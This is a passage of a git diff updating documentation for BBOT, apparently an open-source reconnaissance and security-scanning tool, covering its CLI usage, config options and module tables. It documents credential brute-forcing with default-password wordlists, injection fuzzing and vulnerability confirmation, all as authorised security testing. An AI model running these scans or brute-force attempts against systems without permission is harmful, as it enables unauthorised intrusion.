URL, VHOST | | @liquidsec | 2023-02-08 | +| web_report | output | No | Create a markdown report with web assets | | FINDING, TECHNOLOGY, URL | | @liquidsec | 2023-02-08 | +| webhook | output | No | Send every event to a custom URL via a webhook | | * | | @TheTechromancer | 2022-04-13 | | websocket | output | No | Output to websockets | | * | | @TheTechromancer | 2022-04-15 | | zeromq | output | No | Output scan data to a ZeroMQ socket (PUB) | | * | | @TheTechromancer | 2024-11-22 | | cloudcheck | internal | No | Tag events by cloud provider, identify cloud resources like storage buckets | | * | | @TheTechromancer | 2024-07-07 | diff --git a/docs/scanning/advanced.md b/docs/scanning/advanced.md index 8fc6593649..7c10d49b51 100644 --- a/docs/scanning/advanced.md +++ b/docs/scanning/advanced.md @@ -32,22 +32,22 @@ if __name__ == "__main__": ```text -usage: bbot [-h] [-t TARGET [TARGET ...]] [-s SEEDS [SEEDS ...]] - [-b BLACKLIST [BLACKLIST ...]] [--strict-scope] - [-p [PRESET ...]] [-c [CONFIG ...]] [-lp] - [-m MODULE [MODULE ...]] [-l] [-lmo] [-em MODULE [MODULE ...]] - [-f FLAG [FLAG ...]] [-lf] [-rf FLAG [FLAG ...]] - [-ef FLAG [FLAG ...]] [-n SCAN_NAME] [-v] [-d] [-S] [--force] - [-y] [--fast-mode] [--dry-run] [--current-preset] - [--current-preset-full] [-mh MODULE] [-o DIR] - [-om MODULE [MODULE ...]] [-lo] [--json] [--brief] - [--event-types EVENT_TYPES [EVENT_TYPES ...]] [--exclude-cdn] - [--no-deps | --force-deps | --retry-deps | - --ignore-failed-deps] [--install-all-deps] [--version] - [--proxy HTTP_PROXY] [-H CUSTOM_HEADERS [CUSTOM_HEADERS ...]] - [-C CUSTOM_COOKIES [CUSTOM_COOKIES ...]] - [--custom-yara-rules CUSTOM_YARA_RULES] - [--user-agent USER_AGENT] [--user-agent-suffix SUFFIX] +usage: -c [-h] [-t TARGET [TARGET ...]] [-s SEEDS [SEEDS ...]] + [-b BLACKLIST [BLACKLIST ...]] [--strict-scope] [-p [PRESET ...]] + [-c [CONFIG ...]] [-lp] [-m MODULE [MODULE ...]] [-l] [-lmo] + [-em MODULE [MODULE ...]] [-f FLAG [FLAG ...]] [-lf] + [-rf FLAG [FLAG ...]] [-ef FLAG [FLAG ...]] [-n SCAN_NAME] [-v] [-d] + [-S] [--force] [-y] [--fast-mode] [--dry-run] [--current-preset] + [--current-preset-full] [-mh MODULE] [-o DIR] + [-om MODULE [MODULE ...]] [-lo] [--json] [--brief] + [--event-types EVENT_TYPES [EVENT_TYPES ...]] [--exclude-cdn] + [--no-deps | --force-deps | --retry-deps | --ignore-failed-deps] + [--install-all-deps] [--version] [--proxy HTTP_PROXY] + [--no-proxy HOST [HOST ...]] + [-H CUSTOM_HEADERS [CUSTOM_HEADERS ...]] + [-C CUSTOM_COOKIES [CUSTOM_COOKIES ...]] + [--custom-yara-rules CUSTOM_YARA_RULES] [--user-agent USER_AGENT] + [--user-agent-suffix SUFFIX] Bighuge BLS OSINT Tool @@ -72,7 +72,7 @@ Presets: Modules: -m, --modules MODULE [MODULE ...] - Modules to enable. Choices: affiliates,ajaxpro,anubisdb,apkpure,asn,aspnet_bin_exposure,azure_tenant,baddns,baddns_direct,baddns_zone,badsecrets,bevigil,bucket_amazon,bucket_digitalocean,bucket_file_enum,bucket_firebase,bucket_google,bucket_microsoft,bufferoverrun,builtwith,bypass403,c99,censys_dns,censys_ip,certspotter,chaos,code_repository,credshed,crt,crt_db,dehashed,digitorus,dnsbimi,dnsbrute,dnsbrute_mutations,dnscaa,dnscommonsrv,dnsdumpster,dnstlsrpt,docker_pull,dockerhub,dotnetnuke,emailformat,ffuf,ffuf_shortnames,filedownload,fingerprintx,fullhunt,git,git_clone,gitdumper,github_codesearch,github_org,github_usersearch,github_workflows,gitlab_com,gitlab_onprem,google_playstore,gowitness,graphql_introspection,hackertarget,host_header,httpx,hunt,hunterio,iis_shortnames,ip2location,ipneighbor,ipstack,jadx,kreuzberg,leakix,legba,lightfuzz,medusa,myssl,newsletters,ntlm,nuclei,oauth,otx,paramminer_cookies,paramminer_getparams,paramminer_headers,passivetotal,pgp,portfilter,portscan,postman,postman_download,rapiddns,reflected_parameters,retirejs,robots,securitytrails,securitytxt,shodan_dns,shodan_enterprise,shodan_idb,sitedossier,skymem,smuggler,social,sslcert,subdomaincenter,subdomainradar,telerik,trajan,trickest,trufflehog,url_manipulation,urlscan,viewdns,virustotal,wafw00f,wayback,wpscan + Modules to enable. Choices: affiliates,ajaxpro,anubisdb,apkpure,asn,aspnet_bin_exposure,azure_tenant,baddns,baddns_direct,baddns_zone,badsecrets,bevigil,bucket_amazon,bucket_digitalocean,bucket_file_enum,bucket_firebase,bucket_google,bucket_hetzner,bucket_microsoft,bufferoverrun,builtwith,bypass403,c99,censys_dns,censys_ip,certspotter,chaos,code_repository,credshed,crt,crt_db,dehashed,dnsbimi,dnsbrute,dnsbrute_mutations,dnscaa,dnscommonsrv,dnsdumpster,dnstlsrpt,docker_pull,dockerhub,dotnetnuke,emailformat,filedownload,fingerprintx,fullhunt,generic_ssrf,git,git_clone,gitdumper,github_codesearch,github_org,github_usersearch,github_workflows,gitlab_com,gitlab_onprem,google_playstore,gowitness,graphql_introspection,hackertarget,host_header,http,hunt,hunterio,iis_shortnames,ip2location,ipneighbor,ipstack,jadx,kreuzberg,leakix,legba,lightfuzz,medusa,myssl,newsletters,ntlm,nuclei,oauth,otx,paramminer_cookies,paramminer_getparams,paramminer_headers,pgp,portfilter,portscan,postman,postman_download,rapiddns,reflected_parameters,retirejs,robots,securitytrails,securitytxt,shodan_dns,shodan_enterprise,shodan_idb,skymem,social,sslcert,subdomaincenter,subdomainradar,telerik,trajan,trickest,trufflehog,url_manipulation,urlscan,viewdns,virustotal,wafw00f,wayback,webbrute,webbrute_shortnames,wpscan -l, --list-modules List available modules. -lmo, --list-module-options Show all module config options @@ -104,7 +104,7 @@ Scan: Output: -o, --output-dir DIR Directory to output scan results -om, --output-modules MODULE [MODULE ...] - Output module(s). Choices: asset_inventory,csv,discord,elastic,emails,http,json,kafka,mongo,mysql,nats,neo4j,nmap_xml,postgres,python,rabbitmq,slack,splunk,sqlite,stdout,subdomains,teams,txt,web_parameters,web_report,websocket,zeromq + Output module(s). Choices: asset_inventory,csv,discord,elastic,emails,json,kafka,mongo,mysql,nats,neo4j,nmap_xml,postgres,python,rabbitmq,slack,splunk,sqlite,stdout,subdomains,teams,txt,web_parameters,web_report,webhook,websocket,zeromq -lo, --list-output-modules List available output modules --json, -j Output scan data in JSON format @@ -125,6 +125,8 @@ Module dependencies: Misc: --version show BBOT version and exit --proxy HTTP_PROXY Use this proxy for all HTTP requests + --no-proxy HOST [HOST ...] + Exclude these hosts from proxy (e.g. localhost *.internal.corp 10.0.0.0/8) -H, --custom-headers CUSTOM_HEADERS [CUSTOM_HEADERS ...] List of custom headers as key value pairs (header=value). -C, --custom-cookies CUSTOM_COOKIES [CUSTOM_COOKIES ...] diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index 3fefd0e999..a83a652bdc 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -151,6 +151,9 @@ dns: web: # HTTP proxy http_proxy: + # Hosts/CIDRs to exclude from HTTP proxy (NO_PROXY equivalent) + # Examples: ["localhost", "*.internal.corp", "10.0.0.0/8", "elastic.mycompany.com"] + http_proxy_exclude: [] # Web user-agent user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.2151.97 # Suffix to append to user-agent (e.g. for tracking or identification) @@ -163,8 +166,8 @@ web: spider_links_per_page: 25 # HTTP timeout (for Python requests; API calls, etc.) http_timeout: 10 - # HTTP timeout (for httpx) - httpx_timeout: 5 + # HTTP timeout (for blasthttp) + blasthttp_timeout: 5 # Custom HTTP headers (e.g. cookies, etc.) # in the format { "Header-Key": "header_value" } # These are attached to all in-scope HTTP requests @@ -176,8 +179,8 @@ web: api_retries: 2 # HTTP retries - try again if the raw connection fails http_retries: 1 - # HTTP retries (for httpx) - httpx_retries: 1 + # HTTP retries (for blasthttp) + blasthttp_retries: 1 # Default sleep interval when rate limited by 429 (and retry-after isn't provided) 429_sleep_interval: 30 # Maximum sleep interval when rate limited by 429 (and an excessive retry-after is provided) @@ -188,6 +191,19 @@ web: http_max_redirects: 5 # Whether to verify SSL certificates ssl_verify: false + # Maximum HTTP requests per second (0 = unlimited) + # Applies globally across all blasthttp consumers (http probing, web brute, etc.) + http_rate_limit: 0 + # HTTP_RESPONSE body disk-spill — keeps body bytes off the Python heap. + # Bodies are written to ${scan_home}/temp/bodies/{uuid}.body.zst and served + # from a bounded LRU cache; only cache misses touch disk. + body_spill: + # Master switch + enabled: true + # In-memory LRU cache budget for hot bodies, in MB + cache_mb: 512 + # zstd level-1 compression on the way to disk + compress: true ### ENGINE ### @@ -196,8 +212,6 @@ engine: # Tool dependencies deps: - ffuf: - version: "2.1.0" # How to handle installation of module dependencies # Choices are: # - abort_on_failure (default) - if a module dependency fails to install, abort the scan @@ -326,8 +340,25 @@ parameter_blacklist: - ASP.NET_SessionId - .AspNetCore.Session - PHPSESSID + - sessionid + - csrftoken - __cf_bm + - cf_clearance + - _abck + - bm_sz + - ak_bmsc - f5_cspm + - _ga + - _gid + - _gat + - _gcl_au + - _fbp + - _fbc + - __utma + - __utmb + - __utmc + - __utmz + - _hjid parameter_blacklist_prefixes: - TS01 @@ -340,6 +371,9 @@ parameter_blacklist_prefixes: - ApplicationGatewayAffinity - JSESSIONID - ARRAffinity + - _hjSession + - _gat_ + - intercom- # Don't output these types of events (they are still distributed to modules) omit_event_types: @@ -357,6 +391,10 @@ interactsh_server: null interactsh_token: null interactsh_disable: false +# API key for bbot.io services (currently used by ASN lookups via the asndb library) +# Can also be set via the BBOT_IO_API_KEY environment variable, which takes precedence. +bbot_io_api_key: null + ``` @@ -395,32 +433,18 @@ In addition to the stated options for each module, the following universal optio | modules.bucket_digitalocean.permutations | bool | Whether to try permutations | False | | modules.bucket_firebase.permutations | bool | Whether to try permutations | False | | modules.bucket_google.permutations | bool | Whether to try permutations | False | +| modules.bucket_hetzner.permutations | bool | Whether to try permutations | False | | modules.bucket_microsoft.permutations | bool | Whether to try permutations | False | | modules.dnsbrute.max_depth | int | How many subdomains deep to brute force, i.e. 5.4.3.2.1.evilcorp.com | 5 | -| modules.dnsbrute.wordlist | str | Subdomain wordlist URL | https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt | +| modules.dnsbrute.wordlist | str | Subdomain wordlist URL or file path. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt | | modules.dnsbrute_mutations.max_mutations | int | Maximum number of target-specific mutations to try per subdomain | 100 | | modules.dnscommonsrv.max_depth | int | The maximum subdomain depth to brute-force SRV records | 2 | -| modules.ffuf.extensions | str | Optionally include a list of extensions to extend the keyword with (comma separated) | | -| modules.ffuf.ignore_case | bool | Only put lowercase words into the wordlist | False | -| modules.ffuf.lines | int | take only the first N lines from the wordlist when finding directories | 5000 | -| modules.ffuf.max_depth | int | the maximum directory depth to attempt to solve | 0 | -| modules.ffuf.rate | int | Rate of requests per second (default: 0) | 0 | -| modules.ffuf.wordlist | str | Specify wordlist to use when finding directories | https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt | -| modules.ffuf_shortnames.extensions | str | Optionally include a list of extensions to extend the keyword with (comma separated) | | -| modules.ffuf_shortnames.find_common_prefixes | bool | Attempt to automatically detect common prefixes and make additional ffuf runs against them | False | -| modules.ffuf_shortnames.find_delimiters | bool | Attempt to detect common delimiters and make additional ffuf runs against them | True | -| modules.ffuf_shortnames.find_subwords | bool | Attempt to detect subwords and make additional ffuf runs against them | False | -| modules.ffuf_shortnames.ignore_redirects | bool | Explicitly ignore redirects (301,302) | True | -| modules.ffuf_shortnames.max_depth | int | the maximum directory depth to attempt to solve | 1 | -| modules.ffuf_shortnames.max_predictions | int | The maximum number of predictions to generate per shortname prefix | 250 | -| modules.ffuf_shortnames.rate | int | Rate of requests per second (default: 0) | 0 | -| modules.ffuf_shortnames.version | str | ffuf version | 2.0.0 | -| modules.ffuf_shortnames.wordlist_extensions | str | Specify wordlist to use when making extension lists | | | modules.filedownload.extensions | list | File extensions to download | ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'] | | modules.filedownload.max_filesize | str | Cancel download if filesize is greater than this size | 10MB | | modules.filedownload.output_folder | str | Folder to download files to. If not specified, downloaded files will be deleted when the scan completes, to minimize disk usage. | | | modules.fingerprintx.skip_common_web | bool | Skip common web ports such as 80, 443, 8080, 8443, etc. | True | | modules.fingerprintx.version | str | fingerprintx version | 1.1.4 | +| modules.generic_ssrf.skip_dns_interaction | bool | Do not report DNS interactions (only HTTP interaction) | False | | modules.gitlab_com.api_key | str | GitLab access token (for gitlab.com/org only) | | | modules.gitlab_onprem.api_key | str | GitLab access token (for self-hosted instances only) | | | modules.gowitness.chrome_path | str | Path to chrome executable | | @@ -434,25 +458,23 @@ In addition to the stated options for each module, the following universal optio | modules.gowitness.version | str | Gowitness version | 3.1.1 | | modules.graphql_introspection.graphql_endpoint_urls | list | List of GraphQL endpoint to suffix to the target URL | ['/', '/graphql', '/v1/graphql'] | | modules.graphql_introspection.output_folder | str | Folder to save the GraphQL schemas to | | -| modules.httpx.in_scope_only | bool | Only visit web reparents that are in scope. | True | -| modules.httpx.max_response_size | int | Max response size in bytes | 5242880 | -| modules.httpx.probe_all_ips | bool | Probe all the ips associated with same host | False | -| modules.httpx.store_responses | bool | Save raw HTTP responses to scan folder | False | -| modules.httpx.threads | int | Number of httpx threads to use | 50 | -| modules.httpx.version | str | httpx version | 1.2.5 | +| modules.http.in_scope_only | bool | Only visit web resources that are in scope. | True | +| modules.http.max_response_size | int | Max response size in bytes | 5242880 | +| modules.http.store_responses | bool | Save raw HTTP responses to scan folder | False | +| modules.http.threads | int | Number of concurrent requests | 50 | | modules.iis_shortnames.detect_only | bool | Only detect the vulnerability and do not run the shortname scanner | True | | modules.iis_shortnames.max_node_count | int | Limit how many nodes to attempt to resolve on any given recursion branch | 50 | | modules.iis_shortnames.speculate_magic_urls | bool | Attempt to discover iis 'magic' special folders | True | | modules.legba.concurrency | int | Number of concurrent workers, gets overridden for SSH | 3 | -| modules.legba.ftp_wordlist | str | Wordlist URL for FTP combined username:password wordlist, newline separated | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt | -| modules.legba.mssql_wordlist | str | Wordlist URL for MSSQL combined username:password wordlist, newline separated | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt | -| modules.legba.mysql_wordlist | str | Wordlist URL for MySQL combined username:password wordlist, newline separated | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt | -| modules.legba.postgresql_wordlist | str | Wordlist URL for PostgreSQL combined username:password wordlist, newline separated | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt | +| modules.legba.ftp_wordlist | str | Wordlist for FTP combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt | +| modules.legba.mssql_wordlist | str | Wordlist for MSSQL combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt | +| modules.legba.mysql_wordlist | str | Wordlist for MySQL combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt | +| modules.legba.postgresql_wordlist | str | Wordlist for PostgreSQL combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt | | modules.legba.rate_limit | int | Limit the number of requests per second, gets overridden for SSH | 3 | -| modules.legba.ssh_wordlist | str | Wordlist URL for SSH combined username:password wordlist, newline separated | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt | -| modules.legba.telnet_wordlist | str | Wordlist URL for TELNET combined username:password wordlist, newline separated | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt | +| modules.legba.ssh_wordlist | str | Wordlist for SSH combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt | +| modules.legba.telnet_wordlist | str | Wordlist for TELNET combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt | | modules.legba.version | str | legba version | 1.1.1 | -| modules.legba.vnc_wordlist | str | Wordlist URL for VNC password wordlist, newline separated | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt | +| modules.legba.vnc_wordlist | str | Wordlist for VNC passwords, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt | | modules.lightfuzz.avoid_wafs | bool | Avoid running against confirmed WAFs, which are likely to block lightfuzz requests | True | | modules.lightfuzz.disable_post | bool | Disable processing of POST parameters, avoiding form submissions. | False | | modules.lightfuzz.enabled_submodules | list | A list of submodules to enable. Empty list enabled all modules. | ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi', 'ssrf'] | @@ -460,7 +482,7 @@ In addition to the stated options for each module, the following universal optio | modules.lightfuzz.try_get_as_post | bool | For each GETPARAM, also fuzz it as a POSTPARAM (in addition to normal GET fuzzing). | False | | modules.lightfuzz.try_post_as_get | bool | For each POSTPARAM, also fuzz it as a GETPARAM (in addition to normal POST fuzzing). | False | | modules.medusa.snmp_versions | list | List of SNMP versions to attempt against the SNMP server (default ['1', '2C']) | ['1', '2C'] | -| modules.medusa.snmp_wordlist | str | Wordlist url for SNMP community strings, newline separated (default https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/snmp.txt) | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt | +| modules.medusa.snmp_wordlist | str | Wordlist url for SNMP community strings, newline separated (default https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/snmp.txt). Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt | | modules.medusa.threads | int | Number of communities to be tested concurrently (default 5) | 5 | | modules.medusa.timeout_s | int | Wait time for the SNMP response(s) once at the end of all attempts (default 5) | 5 | | modules.medusa.wait_microseconds | int | Wait time after every SNMP request in microseconds (default 200) | 200 | @@ -482,13 +504,15 @@ In addition to the stated options for each module, the following universal optio | modules.oauth.try_all | bool | Check for OAUTH/IODC on every subdomain and URL. | False | | modules.paramminer_cookies.recycle_words | bool | Attempt to use words found during the scan on all other endpoints | False | | modules.paramminer_cookies.skip_boring_words | bool | Remove commonly uninteresting words from the wordlist | True | -| modules.paramminer_cookies.wordlist | str | Define the wordlist to be used to derive cookies | | +| modules.paramminer_cookies.wordlist | str | Define the wordlist to be used to derive cookies. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | | +| modules.paramminer_getparams.brute_short | bool | Generate every 1-, 2-, and 3-letter [a-z] combination and add to the wordlist. Costs ~18,278 extra requests per host — opt-in for thorough scans. | False | +| modules.paramminer_getparams.mutate_case | bool | Also test case-mutated variants of each entry (camelCase for snake_case/kebab-case, Title case for single words). Skipped on URLs with case-insensitive backend extensions like .aspx/.cfm. | False | | modules.paramminer_getparams.recycle_words | bool | Attempt to use words found during the scan on all other endpoints | False | | modules.paramminer_getparams.skip_boring_words | bool | Remove commonly uninteresting words from the wordlist | True | -| modules.paramminer_getparams.wordlist | str | Define the wordlist to be used to derive headers | | +| modules.paramminer_getparams.wordlist | str | Define the wordlist to be used to derive headers. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | | | modules.paramminer_headers.recycle_words | bool | Attempt to use words found during the scan on all other endpoints | False | | modules.paramminer_headers.skip_boring_words | bool | Remove commonly uninteresting words from the wordlist | True | -| modules.paramminer_headers.wordlist | str | Define the wordlist to be used to derive headers | | +| modules.paramminer_headers.wordlist | str | Define the wordlist to be used to derive headers. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | | | modules.portscan.adapter | str | Manually specify a network interface, such as "eth0" or "tun0". If not specified, the first network interface found with a default gateway will be used. | | | modules.portscan.adapter_ip | str | Send packets using this IP address. Not needed unless masscan's autodetection fails | | | modules.portscan.adapter_mac | str | Send packets using this as the source MAC address. Not needed unless masscan's autodetection fails | | @@ -508,12 +532,25 @@ In addition to the stated options for each module, the following universal optio | modules.robots.include_sitemap | bool | Include 'sitemap' entries | False | | modules.securitytxt.emails | bool | emit EMAIL_ADDRESS events | True | | modules.securitytxt.urls | bool | emit URL_UNVERIFIED events | True | -| modules.sslcert.skip_non_ssl | bool | Don't try common non-SSL ports | True | -| modules.sslcert.timeout | float | Socket connect timeout in seconds | 5.0 | | modules.telerik.exploit_RAU_crypto | bool | Attempt to confirm any RAU AXD detections are vulnerable | False | | modules.telerik.include_subdirs | bool | Include subdirectories in the scan (off by default) | False | | modules.url_manipulation.allow_redirects | bool | Allowing redirects will sometimes create false positives. Disallowing will sometimes create false negatives. Allowed by default. | True | | modules.wafw00f.generic_detect | bool | When no specific WAF detections are made, try to perform a generic detect | True | +| modules.webbrute.concurrency | int | Number of concurrent requests per URL being fuzzed | 50 | +| modules.webbrute.extensions | str | Optionally include a list of extensions to extend the keyword with (comma separated) | | +| modules.webbrute.ignore_case | bool | Only put lowercase words into the wordlist | False | +| modules.webbrute.lines | int | take only the first N lines from the wordlist when finding directories | 5000 | +| modules.webbrute.max_depth | int | the maximum directory depth to attempt to solve | 0 | +| modules.webbrute.rate | int | Maximum requests per second (0 = unlimited) | 0 | +| modules.webbrute.wordlist | str | Specify wordlist to use when finding directories. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt | +| modules.webbrute_shortnames.extensions | str | Optionally include a list of extensions to extend the keyword with (comma separated) | | +| modules.webbrute_shortnames.find_common_prefixes | bool | Attempt to automatically detect common prefixes and make additional runs against them | False | +| modules.webbrute_shortnames.find_delimiters | bool | Attempt to detect common delimiters and make additional runs against them | True | +| modules.webbrute_shortnames.find_subwords | bool | Attempt to detect subwords and make additional runs against them | False | +| modules.webbrute_shortnames.max_depth | int | the maximum directory depth to attempt to solve | 1 | +| modules.webbrute_shortnames.max_predictions | int | The maximum number of predictions to generate per shortname prefix | 250 | +| modules.webbrute_shortnames.rate | int | Rate of requests per second (default: 0) | 0 | +| modules.webbrute_shortnames.wordlist_extensions | str | Specify wordlist to use when making extension lists. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | | | modules.wpscan.api_key | str | WPScan API Key | | | modules.wpscan.connection_timeout | int | The connection timeout in seconds (default 2) | 2 | | modules.wpscan.disable_tls_checks | bool | Disables the SSL/TLS certificate verification (Default True) | True | @@ -577,7 +614,6 @@ In addition to the stated options for each module, the following universal optio | modules.kreuzberg.extensions | list | File extensions to parse | ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml'] | | modules.leakix.api_key | str | LeakIX API Key | | | modules.otx.api_key | str | OTX API key | | -| modules.passivetotal.api_key | str | PassiveTotal API Key in the format of 'username:api_key' | | | modules.pgp.search_urls | list | PGP key servers to search |` ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index'] `| | modules.portfilter.allowed_cdn_ports | str | Comma-separated list of ports that are allowed to be scanned for CDNs | 80,443 | | modules.portfilter.cdn_tags | str | Comma-separated list of tags to skip, e.g. 'cdn,waf' | cdn,waf | @@ -624,13 +660,6 @@ In addition to the stated options for each module, the following universal optio | modules.elastic.url | str |` Elastic URL (e.g. https://localhost:9200//_doc) `| https://localhost:9200/bbot_events/_doc | | modules.elastic.username | str | Elastic username | elastic | | modules.emails.output_file | str | Output to file | | -| modules.http.bearer | str | Authorization Bearer token | | -| modules.http.headers | dict | Additional headers to send with the request | {} | -| modules.http.method | str | HTTP method | POST | -| modules.http.password | str | Password (basic auth) | | -| modules.http.timeout | int | HTTP timeout | 10 | -| modules.http.url | str | Web URL | | -| modules.http.username | str | Username (basic auth) | | | modules.json.output_file | str | Output to file | | | modules.kafka.bootstrap_servers | str | A comma-separated list of Kafka server addresses | localhost:9092 | | modules.kafka.topic | str | The Kafka topic to publish events to | bbot_events | @@ -682,6 +711,13 @@ In addition to the stated options for each module, the following universal optio | modules.web_parameters.output_file | str | Output to file | | | modules.web_report.css_theme_file | str | CSS theme URL for HTML output | https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css | | modules.web_report.output_file | str | Output to file | | +| modules.webhook.bearer | str | Authorization Bearer token | | +| modules.webhook.headers | dict | Additional headers to send with the request | {} | +| modules.webhook.method | str | HTTP method | POST | +| modules.webhook.password | str | Password (basic auth) | | +| modules.webhook.timeout | int | HTTP timeout | 10 | +| modules.webhook.url | str | Web URL | | +| modules.webhook.username | str | Username (basic auth) | | | modules.websocket.ignore_ssl | bool | Ignores all Websocket SSL related errors (like Self-Signed Certificates, etc.) | False | | modules.websocket.preserve_graph | bool | Preserve full chains of events in the graph (prevents orphans) | True | | modules.websocket.token | str | Authorization Bearer token | | diff --git a/docs/scanning/events.md b/docs/scanning/events.md index 0569db7083..44c3aa1c9f 100644 --- a/docs/scanning/events.md +++ b/docs/scanning/events.md @@ -104,41 +104,40 @@ Below is a full list of event types along with which modules produce/consume the ## List of Event Types -| Event Type | # Consuming Modules | # Producing Modules | Consuming Modules | Producing Modules | -|---------------------|-----------------------|-----------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| * | 24 | 0 | affiliates, cloudcheck, csv, discord, dnsresolve, elastic, http, json, kafka, mongo, mysql, nats, neo4j, postgres, python, rabbitmq, slack, splunk, sqlite, stdout, teams, txt, websocket, zeromq | | -| ASN | 0 | 1 | | asn | -| AZURE_TENANT | 1 | 1 | speculate | azure_tenant | -| CODE_REPOSITORY | 8 | 8 | docker_pull, git_clone, gitdumper, github_workflows, google_playstore, postman_download, trajan, trufflehog | code_repository, dockerhub, git, github_codesearch, github_org, gitlab_com, gitlab_onprem, postman | -| DNS_NAME | 59 | 42 | anubisdb, asset_inventory, azure_tenant, baddns, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, emailformat, fullhunt, github_codesearch, github_usersearch, hackertarget, hunterio, leakix, myssl, nmap_xml, oauth, otx, passivetotal, pgp, 